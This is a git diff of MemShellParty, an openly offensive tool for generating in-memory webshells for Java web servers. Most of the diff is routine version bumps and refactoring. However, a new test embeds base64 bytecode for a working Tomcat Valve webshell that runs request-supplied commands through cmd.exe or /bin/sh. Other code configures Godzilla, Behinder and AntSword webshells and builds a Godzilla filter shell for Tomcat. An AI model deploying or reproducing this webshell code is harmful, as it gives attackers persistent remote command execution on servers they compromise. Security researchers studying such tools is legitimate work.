# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.19 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17. # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
+6 -8
View File
@@ -1,11 +1,6 @@
<h1 align="center">MemShellParty</h1> <h1 align="center">MemShellParty</h1>
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p> <p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center"> <div align="center">
@@ -29,9 +24,12 @@
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
![normal_generator](asserts/normal_generator.png) <p align="center">
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
![agent_generator](asserts/agent_generator.png) <img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
<img src="asserts/about_page.png" alt="about_page" width="24%">
</p>
## 主要特性 ## 主要特性
Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 136 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 236 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 265 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 268 KiB

+1 -2
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.3" id("org.springframework.boot") version "3.5.7"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -23,7 +23,6 @@ configurations {
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
} }
implementation(project(":packer")) { implementation(project(":packer")) {
@@ -0,0 +1,24 @@
package com.reajason.javaweb.boot.controller;
import org.springframework.asm.ClassReader;
import org.springframework.cglib.core.ClassNameReader;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/11/10
*/
@RestController
@CrossOrigin("*")
public class ClassNameParseController {
@PostMapping("/className")
public String className(@RequestBody String classBase64) {
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO; import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
@@ -27,7 +26,8 @@ public class ConfigController {
Map<String, List<String>> servers = new LinkedHashMap<>(); Map<String, List<String>> servers = new LinkedHashMap<>();
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes(); Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
.getShellInjectorMapping().getSupportedShellTypes();
servers.put(supportedServer, supportedShellTypes.stream().toList()); servers.put(supportedServer, supportedShellTypes.stream().toList());
} }
return servers; return servers;
@@ -46,16 +46,13 @@ public class ConfigController {
List<String> supportedServers = ServerFactory.getSupportedServers(); List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) { for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer); AbstractServer server = ServerFactory.getServer(supportedServer);
if (server == null) {
continue;
}
Map<String, Set<String>> map = new LinkedHashMap<>(16); Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : server.getSupportedShellTools()) { for (String shellTool : server.getSupportedShellTools()) {
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool); Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) { if (supportedShellTypes.isEmpty()) {
continue; continue;
} }
map.put(shellTool.name(), supportedShellTypes); map.put(shellTool, supportedShellTypes);
} }
coreMap.put(supportedServer, map); coreMap.put(supportedServer, map);
} }
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.AggregatePacker; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.jar.JarPacker;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Base64; import java.util.Base64;
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
InjectorConfig injectorConfig = request.getInjectorConfig(); InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance(); Packer packer = request.getPacker().getInstance();
if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
}
if (packer instanceof JarPacker) { if (packer instanceof JarPacker) {
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
} else if (packer instanceof AggregatePacker) { }
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
} }
}
} }
@@ -2,9 +2,9 @@ package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Data; import lombok.Data;
import org.apache.commons.lang3.StringUtils;
import static com.reajason.javaweb.memshell.ShellTool.*;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,7 +18,7 @@ public class MemShellGenerateRequest {
private Packers packer; private Packers packer;
@Data @Data
static class ShellToolConfigDTO { public static class ShellToolConfigDTO {
private String shellClassName; private String shellClassName;
private String godzillaPass; private String godzillaPass;
private String godzillaKey; private String godzillaKey;
@@ -36,38 +36,38 @@ public class MemShellGenerateRequest {
return switch (shellConfig.getShellTool()) { return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder() case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getGodzillaPass())
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8))) .key(shellToolConfig.getGodzillaKey())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Behinder -> BehinderConfig.builder() case Behinder -> BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getBehinderPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Command -> CommandConfig.builder() case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) .paramName(shellToolConfig.getCommandParamName())
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass())) .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build(); .build();
case Suo5 -> Suo5Config.builder() case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case AntSword -> AntSwordConfig.builder() case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8))) .pass(shellToolConfig.getAntSwordPass())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case NeoreGeorg -> NeoreGeorgConfig.builder() case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName()) .shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8))) .headerValue(shellToolConfig.getHeaderValue())
.build(); .build();
case Custom -> CustomConfig.builder() case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64()) .shellClassBase64(shellToolConfig.getShellClassBase64())
@@ -21,7 +21,6 @@ public class ProbeShellGenerateRequest {
private String server; private String server;
private String sleepServer; private String sleepServer;
private String reqParamName; private String reqParamName;
private String reqHeaderName;
} }
public ProbeContentConfig parseProbeContentConfig() { public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +34,6 @@ public class ProbeShellGenerateRequest {
.build(); .build();
case ResponseBody -> ResponseBodyConfig.builder() case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName) .reqParamName(probeContentConfig.reqParamName)
.reqHeaderName(probeContentConfig.reqHeaderName)
.server(probeContentConfig.server) .server(probeContentConfig.server)
.build(); .build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
@@ -0,0 +1,18 @@
package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
/**
* @author ReaJason
* @since 2025/11/10
*/
class ClassNameParseControllerTest {
@Test
void test(){
ClassNameParseController classNameParseController = new ClassNameParseController();
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
}
}
@@ -27,30 +27,21 @@ public class ConfigControllerIntegrationTest {
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
Map body = response.getBody();
assertNotNull(body);
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
Map body = response.getBody();
assertNotNull(body);
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class); ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
List<String> body = response.getBody();
assertNotNull(body);
} }
} }
@@ -0,0 +1,58 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/9/16
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest {
@Autowired
TestRestTemplate restTemplate;
@Test
void generateShell() {
MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.FILTER)
.shellTool(ShellTool.Godzilla)
.shrink(true)
.debug(true)
.serverVersion("Unknown")
.targetJreVersion(50)
.build());
request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*")
.build());
request.setPacker(Packers.ScriptEngine);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
}
+1 -1
View File
@@ -9,7 +9,7 @@ idea {
} }
} }
version = "2.0.0" version = "2.2.0"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
+3 -6
View File
@@ -25,12 +25,12 @@ bun run build
3. 构建后端项目,确保使用 JDK17 环境 3. 构建后端项目,确保使用 JDK17 环境
```bash ```bash
cd MemShellParty/boot cd MemShellParty
./gradlew :boot:bootjar -x test ./gradlew :boot:bootjar -x test
``` ```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar` 构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
```bash ```bash
cd MemShellParty/boot cd MemShellParty/boot
@@ -39,7 +39,7 @@ java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar build/libs/boot-2.0.0.jar
``` ```
也可这基础上再继续构建容器来使用 也可这基础上再继续构建容器来使用
@@ -58,14 +58,12 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
下载项目根目录的 [Dockerfile](./Dockerfile) 下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置 - ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀 - CONTEXT_PATH: 后端访问前缀
```bash ```bash
# 基础构建 # 基础构建
docker buildx build \ docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load -t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080 # 基础镜像启动,访问 127.0.0.1:8080
@@ -73,7 +71,6 @@ docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建 # 自定义访问路径构建
docker buildx build \ docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \ --build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \ --build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load -t memshell-party:latest . --load
+1 -1
View File
@@ -18,7 +18,7 @@ inject(context, shell);
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为 1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
jakarta,无须重复实现。 jakarta,无须重复实现。
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest 2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
方法上,因此推荐按参考实现一样使用空实现。 方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。 3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent 4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64` 内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`
@@ -18,12 +18,12 @@
<dependency> <dependency>
<groupId>io.github.reajason</groupId> <groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId> <artifactId>generator</artifactId>
<version>2.0.0-SNAPSHOT</version> <version>2.0.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>io.github.reajason</groupId> <groupId>io.github.reajason</groupId>
<artifactId>packer</artifactId> <artifactId>packer</artifactId>
<version>2.0.0-SNAPSHOT</version> <version>2.0.0</version>
</dependency> </dependency>
</dependencies> </dependencies>
@@ -1,6 +1,5 @@
package com.reajason.javaweb; package com.reajason.javaweb;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
@@ -10,6 +9,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.Server.Tomcat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/4/6 * @since 2025/4/6
@@ -17,7 +18,7 @@ import com.reajason.javaweb.packer.Packers;
public class Godzilla { public class Godzilla {
public static void main(String[] args) { public static void main(String[] args) {
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat) .server(Tomcat)
.shellTool(ShellTool.Godzilla) .shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER) .shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码 .shrink(true) // 缩小字节码
@@ -9,11 +9,12 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker; import com.reajason.javaweb.packer.jar.JarPacker;
import com.sun.security.ntlm.Server;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import static com.reajason.javaweb.Server.Tomcat;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/4/6 * @since 2025/4/6
@@ -22,7 +23,7 @@ public class GodzillaAgent {
public static void main(String[] args) throws Exception { public static void main(String[] args) throws Exception {
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat) .server(Tomcat)
.shellTool(ShellTool.Godzilla) .shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN) .shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码 .shrink(true) // 缩小字节码
+1 -2
View File
@@ -39,10 +39,9 @@ dependencies {
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
implementation(libs.bcel) implementation(libs.bcel)
implementation(libs.okhttp3)
implementation(libs.logback.classic)
implementation(libs.jackson.databind) implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher) testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.bundles.mockito) testImplementation(libs.bundles.mockito)
} }
